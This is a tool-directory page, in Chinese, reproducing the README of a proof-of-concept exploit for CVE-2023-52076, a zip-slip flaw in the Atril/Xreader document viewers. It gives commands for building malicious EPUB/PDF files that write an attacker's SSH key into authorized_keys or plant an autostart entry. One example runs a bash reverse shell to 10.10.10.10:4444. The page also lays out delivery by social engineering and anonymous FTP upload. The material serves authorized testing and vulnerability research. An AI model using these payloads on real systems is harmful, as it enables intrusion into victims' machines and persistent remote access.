Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-52076-PoC — 针对 CVE-2023-52076 的 PoC 漏洞利用程序——Atril/Xreader(MATE/Cinnamon)中的 zip-slip 路径遍历漏洞,可通过特制 EPUB 实现任意文件写入与远程代码执行(RCE)。仅限授权安全测试。 | Kitploit
工具/GitHubGitHub/groppoxx/cve-2023-52076-poc
Payload生成漏洞分析漏洞利用渗透测试社会工程学二进制利用
GitHubgroppoxx/cve-2023-52076-poc

CVE-2023-52076-PoC

针对 CVE-2023-52076 的 PoC 漏洞利用程序——Atril/Xreader(MATE/Cinnamon)中的 zip-slip 路径遍历漏洞,可通过特制 EPUB 实现任意文件写入与远程代码执行(RCE)。仅限授权安全测试。

查看仓库
324天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-52076-PoC

针对 CVE-2023-52076 的概念验证(PoC),该漏洞是影响 MATE 桌面环境下 Atril/Xreader 文档查看器的一个严重路径遍历与任意文件写入漏洞。

该脚本生成一个构造的 EPUB 载荷,其中包含针对 SSH 配置或自启动桌面条目的 zip-slip 路径,从而可在目标系统上实现远程命令执行。

功能简介

  1. 支持两种利用模式:SSH 密钥注入或自启动 RCE。
  2. 生成 RSA 密钥对(仅 SSH 模式)。
  3. 构建有效的 EPUB,其中嵌入 zip-slip 路径以触发易受攻击的解压流程。
  4. 使用 /proc/self/cwd 小工具,将载荷写入 5-9 种遍历路径变体。
  5. 创建 .epub 和 .pdf 副本(两者均可触发漏洞)。
  6. 验证载荷结构并检查所有条目。
  7. 可选择通过匿名 FTP 上传载荷。

环境要求

root@kitploit:~
Python 3.8+
ssh-keygen in PATH (SSH mode only)

快速开始

SSH 模式(推荐)

在本地生成 SSH 载荷:

root@kitploit:~
python3 cve_2023_52076.py --mode ssh

自启动模式

使用自定义命令生成自启动 RCE 载荷:

root@kitploit:~
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"

完整示例

SSH 模式及 FTP 上传

root@kitploit:~
python3 cve_2023_52076.py \
  --mode ssh \
  --name slippy-ssh \
  --key ./keys/atril_rsa \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

示例输出:

root@kitploit:~
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub

[+] Payload ready
Mode:        SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key:  ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB:        ./payloads/slippy-ssh.epub
PDF copy:    ./payloads/slippy-ssh.pdf

[+] SSH login remains manual:
    ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>

自启动模式及 FTP 上传

root@kitploit:~
python3 cve_2023_52076.py \
  --mode autostart \
  --command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
  --name slippy-rce \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

示例输出:

root@kitploit:~
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.

[+] Payload ready
Mode:       Autostart (.desktop RCE)
Command:    bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB:       ./payloads/slippy-rce.epub
PDF copy:   ./payloads/slippy-rce.pdf

[+] Victim must logout/login for autostart to trigger

可选选项

root@kitploit:~
--mode {ssh,autostart}
   Payload mode. Default: ssh
   ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
   autostart: Create .desktop RCE in autostart (triggers on next logout/login).

--command <CMD>
   Payload command for --mode autostart. Required if --mode autostart.
   Example: --command "id > /tmp/pwned.txt"

--name <NAME>
   Local payload basename. Default: base-clean

--key <PATH>
   Private key path (SSH mode only). Default: slippy_rsa

--key-bits <BITS>
   RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072

--output-dir <DIR>
   Output directory for .epub/.pdf. Default: output

--upload
   Upload the payload to FTP after generating.

--host <HOST>
   FTP target host or IP. Required if --upload is set.

--port <PORT>
   FTP port. Default: 21

--ftp-dir <DIR>
   Remote FTP directory, e.g. pub.

--ftp-user <USER>
   FTP username. Default: anonymous

--ftp-password <PWD>
   FTP password. Default: anonymous@

--remote-name <NAME>
   Remote EPUB filename. Default: ludwig.epub

--upload-pdf
   Upload the .pdf copy instead of the .epub.

--force
   Replace existing output and key files.

--timeout <SECONDS>
   FTP connection timeout. Default: 10.0

--only-final
   Hide progress logs and print only the final summary.

--no-color
   Disable ANSI colors.

--debug
   Print executed subprocess commands (ssh-keygen).

利用流程

SSH 模式

  1. 生成载荷:脚本创建 EPUB,其中包含写入 authorized_keys 路径的公钥。
  2. 社会工程学:将 EPUB/PDF 发送给目标(伪装成电子书)。
  3. 受害者打开文件:Atril/Xreader 解压 EPUB 内容。
  4. 路径遍历:存在漏洞的代码将公钥写入 ~/.ssh/authorized_keys。
  5. SSH 访问:攻击者使用私钥连接。

自启动模式

  1. 生成载荷:脚本创建 EPUB,其中包含写入自启动路径的 .desktop 条目。
  2. 社会工程学:将 EPUB/PDF 发送给目标。
  3. 受害者打开文件:Atril/Xreader 解压 EPUB 内容。
  4. 路径遍历:存在漏洞的代码将 .desktop 写入 ~/.config/autostart/。
  5. 触发:在下一次注销/登录后,.desktop 文件会自动执行该命令。

关键要点

  • 无需用户名:/proc/self/cwd 小工具在解压时解析。
  • 多路径变体:SSH 使用 9 条路径,自启动使用 5 条路径,可在不同目录深度下最大化成功率。
  • 不覆盖文件:仅创建新文件(遵循 CVE 限制)。
  • 离线模式:无需 FTP 投递即可生成载荷(仅在需要时使用 --upload)。
  • 灵活的命令:自启动模式支持任意 bash 命令。
  • SSH 模式即时生效:文件打开后无需受害者进一步交互。
  • 自启动需要重新登录:受害者必须注销/登录才能触发 RCE。

备注

  • 受影响版本:Atril (MATE DE)、Xreader (Cinnamon, Linux Mint) < 1.26.2。
  • 测试平台:Kali Linux、Parrot OS、Ubuntu-Mate、Xubuntu。
  • 需要受害者使用存在漏洞的查看器打开构造的文档。
  • 支持离线利用;利用过程中不会向攻击者发起网络回调。
  • 最佳实践:通过 FTP(--upload)投递,避免直接托管。

法律声明

本 PoC 仅用于授权安全测试、实验室环境和漏洞验证。 未经明确许可,请勿将其用于任何系统。

下载工具